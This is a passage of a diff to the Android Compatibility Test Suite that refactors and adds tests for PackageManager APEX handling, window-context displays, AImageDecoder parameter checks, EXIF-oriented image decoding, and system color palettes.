+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         try {
             mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, 0 /* flags */);
             fail("NameNotFoundException expected");
@@ -1018,10 +1009,8 @@
 
     @Test
     public void testGetPackageInfo_ApexNotSupported_ApexPackage_MatchesApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         try {
             mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
             fail("NameNotFoundException expected");
@@ -1031,10 +1020,8 @@
 
     @Test
     public void testGetPackageInfo_ApexNotSupported_ApexPackage_DoesNotMatchApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         try {
             mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, 0);
             fail("NameNotFoundException expected");
@@ -1044,10 +1031,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexSupported_MatchesApex() {
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(
                 PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
@@ -1059,10 +1044,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexSupported_DoesNotMatchApex() {
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(0);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
                 packageInfo -> packageInfo.packageName.equals(SHIM_APEX_PACKAGE_NAME)).collect(
@@ -1072,10 +1055,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexNotSupported_MatchesApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(
                 PackageManager.MATCH_APEX);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
@@ -1086,10 +1067,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexNotSupported_DoesNotMatchApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(0);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
                 packageInfo -> packageInfo.packageName.equals(SHIM_APEX_PACKAGE_NAME)).collect(
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
index 4f1d7f9..60d8a9f 100644
--- a/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
+++ b/tests/tests/content/src/android/content/wm/cts/ContextGetDisplayTest.java
@@ -28,6 +28,7 @@
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 import android.view.Display;
+import android.view.WindowManager;
 
 import androidx.test.filters.SmallTest;
 
@@ -95,14 +96,8 @@
         verifyGetDisplayFromDisplayContextDerivedContext(true /* onSecondaryDisplay */);
     }
 
-    private void verifyGetDisplayFromDisplayContextDerivedContext(
-            boolean onSecondaryDisplay) {
-        final Display display;
-        if (onSecondaryDisplay) {
-            display = getSecondaryDisplay();
-        } else {
-            display = getDefaultDisplay();
-        }
+    private void verifyGetDisplayFromDisplayContextDerivedContext(boolean onSecondaryDisplay) {
+        final Display display = onSecondaryDisplay ? getSecondaryDisplay() : getDefaultDisplay();
         final Context context = mApplicationContext.createDisplayContext(display)
                 .createConfigurationContext(new Configuration());
         assertEquals(display, context.getDisplay());
@@ -111,7 +106,23 @@
     @Test
     public void testGetDisplayFromWindowContext() {
         final Display display = getDefaultDisplay();
-        Context windowContext =  createWindowContext();
+        final Context windowContext = createWindowContext();
+        assertEquals(display, windowContext.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromWindowContextWithDefaultDisplay() {
+        final Display display = getDefaultDisplay();
+        final Context windowContext = mApplicationContext.createWindowContext(display,
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
+        assertEquals(display, windowContext.getDisplay());
+    }
+
+    @Test
+    public void testGetDisplayFromWindowContextWithSecondaryDisplay() {
+        final Display display = getSecondaryDisplay();
+        final Context windowContext = mApplicationContext.createWindowContext(display,
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
         assertEquals(display, windowContext.getDisplay());
     }
 
diff --git a/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java b/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
index 7b15b12..849e764 100644
--- a/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
+++ b/tests/tests/content/src/android/content/wm/cts/ContextIsUiContextTest.java
@@ -27,6 +27,7 @@
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 import android.view.Display;
+import android.view.WindowManager;
 
 import androidx.test.filters.SmallTest;
 
@@ -77,6 +78,13 @@
     }
 
     @Test
+    public void testIsUiContextOnWindowContextWithDisplay() {
+        final Context windowContext = mApplicationContext.createWindowContext(getDefaultDisplay(),
+                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
+        assertThat(Context.isUiContext(windowContext)).isTrue();
+    }
+
+    @Test
     public void testIsUiContextOnInputMethodService() {
         assertThat(Context.isUiContext(new InputMethodService())).isTrue();
     }
diff --git a/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
index c1c7f70..639d119 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_AImageDecoderTest.cpp
@@ -38,8 +38,6 @@
 
 #define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
 
-#pragma GCC diagnostic ignored "-Wnonnull"
-
 using AssetCloser = std::unique_ptr<AAsset, decltype(&AAsset_close)>;
 using DecoderDeleter = std::unique_ptr<AImageDecoder, decltype(&AImageDecoder_delete)>;
 
@@ -93,6 +91,10 @@
     ASSERT_NE(asset, nullptr);
     AssetCloser assetCloser(asset, AAsset_close);
 
+    AImageDecoder_delete(nullptr);
+
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
     {
         int result = AImageDecoder_createFromAAsset(asset, nullptr);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -175,6 +177,7 @@
         int result = AImageDecoder_getRepeatCount(nullptr);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
     }
+#pragma clang diagnostic pop
 }
 
 static void testInfo(JNIEnv* env, jclass, jlong imageDecoderPtr, jint width, jint height,
@@ -541,8 +544,11 @@
 
     {
         // Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
         result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
 
         result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -859,8 +865,11 @@
 
     {
         // Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
         result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
 
         result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
@@ -1076,8 +1085,11 @@
 
     {
         // Try some invalid parameters.
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
         result = AImageDecoder_decodeImage(decoder, nullptr, minStride, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
+#pragma clang diagnostic pop
 
         result = AImageDecoder_decodeImage(decoder, pixels, minStride - 1, size);
         ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, result);
diff --git a/tests/tests/graphics/res/drawable/animated_webp.webp b/tests/tests/graphics/res/drawable/animated_webp.webp
new file mode 100644
index 0000000..2d28dbf
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/animated_webp.webp
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
index be3042e..e4388e6 100644
--- a/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/AImageDecoderTest.java
@@ -578,13 +578,17 @@
             // SkRawCodec does not support sampling.
             return;
         }
-        ImageDecoder.Source src = ImageDecoder.createSource(getResources(),
-                record.resId);
-        String name = Utils.getAsResourceUri(record.resId).toString();
+        testComputeSampledSizeInternal(record.resId, sampleSize);
+    }
+
+    private void testComputeSampledSizeInternal(int resId, int sampleSize)
+            throws IOException {
+        ImageDecoder.Source src = ImageDecoder.createSource(getResources(), resId);
+        String name = Utils.getAsResourceUri(resId).toString();
         Bitmap bm = decodeSampled(name, src, sampleSize);
         assertNotNull(bm);
 
-        try (ParcelFileDescriptor pfd = open(record.resId)) {
+        try (ParcelFileDescriptor pfd = open(resId)) {
             long aimagedecoder = nCreateFromFd(pfd.getFd());
 
             nTestComputeSampledSize(aimagedecoder, bm, sampleSize);
@@ -593,6 +597,17 @@
         }
     }
 
+    private static Object[] getExifsSample() {
+        return Utils.crossProduct(getExifImages(), new Object[] { 2, 3, 4, 8, 16 });
+    }
+
+    @Test
+    @Parameters(method = "getExifsSample")
+    public void testComputeSampledSizeExif(int resId, int sampleSize)
+            throws IOException {
+        testComputeSampledSizeInternal(resId, sampleSize);
+    }
+
     private Bitmap decodeScaled(String name, ImageDecoder.Source src) {
         try {
             return ImageDecoder.decodeBitmap(src, (decoder, info, source) -> {
@@ -860,6 +875,20 @@
         assertEquals(100, bm.getWidth());
         assertEquals(80,  bm.getHeight());
 
+        // First verify that the info (and in particular, the width and height)
+        // are correct. This uses a separate ParcelFileDescriptor/aimagedecoder
+        // because the native methods delete the aimagedecoder.
+        try (ParcelFileDescriptor pfd = open(resId)) {
+            long aimagedecoder = nCreateFromFd(pfd.getFd());
+
+            String mimeType = uri.toString().contains("webp") ? "image/webp" : "image/jpeg";
+            nTestInfo(aimagedecoder, 100, 80, mimeType, false,
+                    DataSpace.fromColorSpace(bm.getColorSpace()));
+        } catch (FileNotFoundException e) {
+            e.printStackTrace();
+            fail("Could not open " + uri + " to check info");
+        }
+
         try (ParcelFileDescriptor pfd = open(resId)) {
             long aimagedecoder = nCreateFromFd(pfd.getFd());
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index 94271f1..f9ba150 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -429,7 +429,7 @@
                 HARDWARE_OPTIONS);
         assertEquals(Config.HARDWARE, hardwareBitmap.getConfig());
 
-        Bitmap ret = Bitmap.createBitmap(hardwareBitmap, 0, 0, 100, 100, null, false);
+        Bitmap ret = Bitmap.createBitmap(hardwareBitmap, 0, 0, 96, 96, null, false);
         assertEquals(Config.HARDWARE, ret.getConfig());
         assertFalse(ret.isMutable());
     }
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 4e08ba0..62fadd8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -75,6 +75,33 @@
                 { 0xff000000, android.R.color.widget_edittext_dark },
         };
 
+        int systemColors[] = {
+                android.R.color.system_main_0,
+                android.R.color.system_main_50,
+                android.R.color.system_main_100,
+                android.R.color.system_main_200,
+                android.R.color.system_main_300,
+                android.R.color.system_main_400,
+                android.R.color.system_main_500,
+                android.R.color.system_main_600,
+                android.R.color.system_main_700,
+                android.R.color.system_main_800,
+                android.R.color.system_main_900,
+                android.R.color.system_main_1000,
+                android.R.color.system_accent_0,
+                android.R.color.system_accent_50,
+                android.R.color.system_accent_100,
+                android.R.color.system_accent_200,
+                android.R.color.system_accent_300,
+                android.R.color.system_accent_400,
+                android.R.color.system_accent_500,
+                android.R.color.system_accent_600,
+                android.R.color.system_accent_700,
+                android.R.color.system_accent_800,
+                android.R.color.system_accent_900,
+                android.R.color.system_accent_1000,
+        };
+
         List<Integer> expectedColorStateLists = Arrays.asList(
                 android.R.color.primary_text_dark,
                 android.R.color.primary_text_dark_nodisable,
@@ -124,7 +151,7 @@
         }
 
         // System-API colors are used to allow updateable platform components to use the same colors
-        // as the system. The actualy value of the color does not matter. Hence only enforce that
+        // as the system. The actual value of the color does not matter. Hence only enforce that
         // 'colors' contains all the public colors and ignore System-api colors.
         int numPublicApiColors = 0;
         for (Field declaredColor : android.R.color.class.getDeclaredFields()) {
@@ -137,7 +164,7 @@
         }
 
         assertEquals("Test no longer in sync with colors in android.R.color",
-                colors.length, numPublicApiColors);
+                colors.length + systemColors.length, numPublicApiColors);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index daeb4a4..30be8ef 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -698,7 +698,6 @@
         runOneSurfaceTest(api, (TestSurface surface) -> {
             Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
             Display.Mode currentMode = display.getMode();
-            float initialRefreshRate = currentMode.getRefreshRate();
 
             if (shouldBeSeamless) {
                 // Seamless rates should be seamlessly achieved with no resolution changes.
@@ -717,7 +716,7 @@
                 surface.setFrameRate(0.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
                         /*shouldBeSeamless*/ true);
                 // Wait for potential mode switches
-                verifyCompatibleAndStableFrameRate(initialRefreshRate, Arrays.asList(surface));
+                verifyCompatibleAndStableFrameRate(0, Arrays.asList(surface));
                 currentMode = display.getMode();
 
                 // Seamed rates should never generate a seamed switch.
@@ -925,7 +924,6 @@
         runOneSurfaceTest(api, (TestSurface surface) -> {
             Display display = getDisplay();
             Display.Mode currentMode = display.getMode();
-            float initialRefreshRate = currentMode.getRefreshRate();
             List<Float> frameRatesToTest = Floats.asList(currentMode.getAlternativeRefreshRates());
 
             for (float frameRate : frameRatesToTest) {
@@ -943,7 +941,7 @@
                     /*shouldBeSeamless*/ false);
 
             // Wait for potential mode switches.
-            verifyCompatibleAndStableFrameRate(initialRefreshRate, Arrays.asList(surface));
+            verifyCompatibleAndStableFrameRate(0, Arrays.asList(surface));
 
             currentMode = display.getMode();
             List<Float> seamedRefreshRates = getSeamedRefreshRates(currentMode, display);
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 53f6701..4cc44e6 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -183,10 +183,7 @@
             File dir = new File(context.getFilesDir(), "images");
             dir.mkdirs();
             file = new File(dir, "test_file" + resId);
-            if (!file.createNewFile()) {
-                if (file.exists()) {
-                    return file;
-                }
+            if (!file.createNewFile() && !file.exists()) {
                 fail("Failed to create new File!");
             }
 
@@ -2020,6 +2017,25 @@
         }
     }
 
+    @Test
+    public void testOrientationWithSampleSize() {
+        Uri uri = Utils.getAsResourceUri(R.drawable.orientation_6);
+        ImageDecoder.Source src = ImageDecoder.createSource(getContentResolver(), uri);
+        final int sampleSize = 7;
+        try {
+            Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+                decoder.setTargetSampleSize(sampleSize);
+            });
+            assertNotNull(bm);
+
+            // The unsampled image, after rotation, is 100 x 80
+            assertEquals(100 / sampleSize, bm.getWidth());
+            assertEquals( 80 / sampleSize, bm.getHeight());
+        } catch (IOException e) {
+            fail("Failed to decode " + uri.toString() + " with a sampleSize (" + sampleSize + ")");
+        }
+    }
+
     @Test(expected = ArrayIndexOutOfBoundsException.class)
     public void testArrayOutOfBounds() {
         byte[] array = new byte[10];
diff --git a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
new file mode 100644
index 0000000..8e2adb2
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.pm.FeatureInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test that feature flag android.software.opengles.deqp.level is present and that it has an
+ * acceptable value.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class OpenGlEsDeqpLevelTest {
+
+    private static final String TAG = OpenGlEsDeqpLevelTest.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private static final int MINIMUM_OPENGLES_DEQP_LEVEL = 0x07E40301; // Corresponds to 2020-03-01
+
+    private PackageManager mPm;
+
+    @Before
+    public void setup() throws Throwable {
+        mPm = InstrumentationRegistry.getTargetContext().getPackageManager();
+    }
+
+    @Test
+    public void testOpenGlEsDeqpLevel() {
+        if (DEBUG) {
+            Log.d(TAG, "Checking whether " + PackageManager.FEATURE_OPENGLES_DEQP_LEVEL
+                    + " has an acceptable value");
+        }
+        assertTrue("Feature " + PackageManager.FEATURE_OPENGLES_DEQP_LEVEL + " must be present "
+                        + "and have at least version " + MINIMUM_OPENGLES_DEQP_LEVEL,
+                mPm.hasSystemFeature(PackageManager.FEATURE_OPENGLES_DEQP_LEVEL,
+                        MINIMUM_OPENGLES_DEQP_LEVEL));
+    }
+
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
index 3d4f6b6..ca97dbe 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
@@ -127,11 +127,11 @@
     }
 
     @Test
-    public void testIsColorSpace() {
+    public void testIsColorSpaceContainer() {
         ColorSpace colorSpace = ColorSpace.get(ColorSpace.Named.BT2020);
         ParcelableColorSpace parcelableColorSpace = new ParcelableColorSpace(colorSpace);
         Bitmap bitmap = Bitmap.createBitmap(10, 10,
-                Bitmap.Config.RGBA_F16, false, parcelableColorSpace);
+                Bitmap.Config.RGBA_F16, false, parcelableColorSpace.getColorSpace());
         assertNotNull(bitmap);
         ColorSpace bitmapColorSpace = bitmap.getColorSpace();
         assertNotNull(bitmapColorSpace);
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
new file mode 100644
index 0000000..bb3ca0a
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.R;
+import android.content.Context;
+import android.graphics.Color;
+
+import androidx.annotation.ColorInt;
+import androidx.core.graphics.ColorUtils;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SystemPalette {
+
+    private static final double MAX_CHROMA_DISTANCE = 0.1;
+    private static final String LOG_TAG = SystemPalette.class.getSimpleName();
+
+    @Test
+    public void testShades0and1000() {
+        final Context context = getInstrumentation().getTargetContext();
+        final int system0 = context.getColor(R.color.system_main_0);
+        final int system1000 = context.getColor(R.color.system_main_1000);
+        final int accent0 = context.getColor(R.color.system_accent_0);
+        final int accent1000 = context.getColor(R.color.system_accent_1000);
+        assertColor(system0, Color.WHITE);
+        assertColor(system1000, Color.BLACK);
+        assertColor(accent0, Color.WHITE);
+        assertColor(accent1000, Color.BLACK);
+    }
+
+    @Test
+    public void testAllColorsBelongToSameFamily() {
+        final Context context = getInstrumentation().getTargetContext();
+        final int[] mainColors = getAllMainColors(context);
+        final int[] accentColors = getAllAccentColors(context);
+
+        for (int i = 2; i < mainColors.length - 1; i++) {
+            assertWithMessage("Main color " + Integer.toHexString((mainColors[i - 1]))
+                    + " has different chroma compared to " + Integer.toHexString(mainColors[i]))
+                    .that(similarChroma(mainColors[i - 1], mainColors[i])).isTrue();
+            assertWithMessage("Accent color " + Integer.toHexString((accentColors[i - 1]))
+                    + " has different chroma compared to " + Integer.toHexString(accentColors[i]))
+                    .that(similarChroma(accentColors[i - 1], accentColors[i])).isTrue();
+        }
+    }
+
+    /**
+     * Compare if color A and B have similar color, in LAB space.
+     *
+     * @param colorA Color 1
+     * @param colorB Color 2
+     * @return True when colors have similar chroma.
+     */
+    private boolean similarChroma(@ColorInt int colorA, @ColorInt int colorB) {
+        final double[] labColor1 = new double[3];
+        final double[] labColor2 = new double[3];
+
+        ColorUtils.RGBToLAB(Color.red(colorA), Color.green(colorA), Color.blue(colorA), labColor1);
+        ColorUtils.RGBToLAB(Color.red(colorB), Color.green(colorB), Color.blue(colorB), labColor2);
+
+        labColor1[1] = (labColor1[1] + 128.0) / 256;
+        labColor1[2] = (labColor1[2] + 128.0) / 256;
+        labColor2[1] = (labColor2[1] + 128.0) / 256;
+        labColor2[2] = (labColor2[2] + 128.0) / 256;
+
+        return (Math.abs(labColor1[1] - labColor2[1]) < MAX_CHROMA_DISTANCE)
+                && (Math.abs(labColor1[2] - labColor2[2]) < MAX_CHROMA_DISTANCE);
+    }
+
+    @Test
+    public void testColorsMatchExpectedLuminosity() {
+        final Context context = getInstrumentation().getTargetContext();
+        final int[] mainColors = getAllMainColors(context);
+        final int[] accentColors = getAllAccentColors(context);
+
+        final double[] labMain = new double[3];
+        final double[] labAccent = new double[3];
+        final double[] expectedL = {100, 95, 90, 80, 70, 60, 50, 40, 30, 20, 10, 0};
+
+        for (int i = 0; i < mainColors.length; i++) {
+            ColorUtils.RGBToLAB(Color.red(mainColors[i]), Color.green(mainColors[i]),
+                    Color.blue(mainColors[i]), labMain);
+            ColorUtils.RGBToLAB(Color.red(accentColors[i]), Color.green(accentColors[i]),
+                    Color.blue(accentColors[i]), labAccent);
+
+            // Colors in the same palette should vary mostly in L, decreasing lightness as we move
+            // across the palette.
+            assertWithMessage("Color " + Integer.toHexString((mainColors[i]))
+                    + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+                    .that(labMain[0]).isWithin(5).of(expectedL[i]);
+            assertWithMessage("Color " + Integer.toHexString((accentColors[i]))
+                    + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+                    .that(labAccent[0]).isWithin(5).of(expectedL[i]);
+        }
+    }
+
+    private void assertColor(@ColorInt int observed, @ColorInt int expected) {
+        Assert.assertEquals("Color = " + Integer.toHexString(observed) + ", "
+                        + Integer.toHexString(expected) + " expected",
+                observed, expected);
+    }
+
+    private int[] getAllMainColors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_main_0);
+        colors[1] = context.getColor(R.color.system_main_50);
+        colors[2] = context.getColor(R.color.system_main_100);
+        colors[3] = context.getColor(R.color.system_main_200);
+        colors[4] = context.getColor(R.color.system_main_300);
+        colors[5] = context.getColor(R.color.system_main_400);
+        colors[6] = context.getColor(R.color.system_main_500);
+        colors[7] = context.getColor(R.color.system_main_600);
+        colors[8] = context.getColor(R.color.system_main_700);
+        colors[9] = context.getColor(R.color.system_main_800);
+        colors[10] = context.getColor(R.color.system_main_900);
+        colors[11] = context.getColor(R.color.system_main_1000);
+        return colors;
+    }
+
+    private int[] getAllAccentColors(Context context) {
+        final int[] colors = new int[12];
+        colors[0] = context.getColor(R.color.system_accent_0);
+        colors[1] = context.getColor(R.color.system_accent_50);
+        colors[2] = context.getColor(R.color.system_accent_100);
+        colors[3] = context.getColor(R.color.system_accent_200);
+        colors[4] = context.getColor(R.color.system_accent_300);
+        colors[5] = context.getColor(R.color.system_accent_400);
+        colors[6] = context.getColor(R.color.system_accent_500);
+        colors[7] = context.getColor(R.color.system_accent_600);
+        colors[8] = context.getColor(R.color.system_accent_700);
+        colors[9] = context.getColor(R.color.system_accent_800);
+        colors[10] = context.getColor(R.color.system_accent_900);
+        colors[11] = context.getColor(R.color.system_accent_1000);
+        return colors;
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
index 32fc205..da2eb16 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AnimatedImageDrawableTest.java
@@ -121,9 +121,8 @@
     }
 
     private AnimatedImageDrawable createFromImageDecoder(int resId) {
-        Uri uri = null;
+        Uri uri = Utils.getAsResourceUri(resId);
         try {
-            uri = Utils.getAsResourceUri(resId);
             ImageDecoder.Source source = ImageDecoder.createSource(getContentResolver(), uri);
             Drawable drawable = ImageDecoder.decodeDrawable(source);
             assertTrue(drawable instanceof AnimatedImageDrawable);
@@ -134,6 +133,19 @@
         }
     }
 
+    private Bitmap decodeBitmap(int resId) {
+        Uri uri = Utils.getAsResourceUri(resId);
+        try {
+            ImageDecoder.Source source = ImageDecoder.createSource(getContentResolver(), uri);
+            return ImageDecoder.decodeBitmap(source, (decoder, info, src) -> {
+                decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+            });
+        } catch (IOException e) {
+            fail("Failed to create Bitmap from " + uri);
+            return null;
+        }
+    }
+
     @Test
     public void testDecodeAnimatedImageDrawable() {
         Drawable drawable = createFromImageDecoder(RES_ID);
@@ -480,6 +492,35 @@
     }
 
     @Test
+    public void testExif() {
+        // This animation has an exif orientation that makes it match R.drawable.animated (RES_ID).
+        AnimatedImageDrawable exifAnimation = createFromImageDecoder(R.drawable.animated_webp);
+
+        Bitmap expected = decodeBitmap(RES_ID);
+        final int width = expected.getWidth();
+        final int height = expected.getHeight();
+
+        assertEquals(width, exifAnimation.getIntrinsicWidth());
+        assertEquals(height, exifAnimation.getIntrinsicHeight());
+
+        Bitmap actual = Bitmap.createBitmap(width, height, expected.getConfig(),
+                expected.hasAlpha(), expected.getColorSpace());
+        {
+            Canvas canvas = new Canvas(actual);
+            exifAnimation.setBounds(0, 0, width, height);
+            exifAnimation.draw(canvas);
+        }
+
+        // mseMargin was chosen by looking at the logs. The images are not exactly
+        // the same due to the fact that animated_webp's frames are encoded lossily,
+        // but the two images are perceptually identical.
+        final int mseMargin = 143;
+        final boolean lessThanMargin = true;
+        BitmapUtils.assertBitmapsMse(expected, actual, mseMargin, lessThanMargin,
+                expected.isPremultiplied());
+    }
+
+    @Test
     public void testPostProcess() {
         // Compare post processing a Rect in the middle of the (not-animating)
         // image with drawing manually. They should be exactly the same.
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json
new file mode 100644
index 0000000..b08c41c
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json
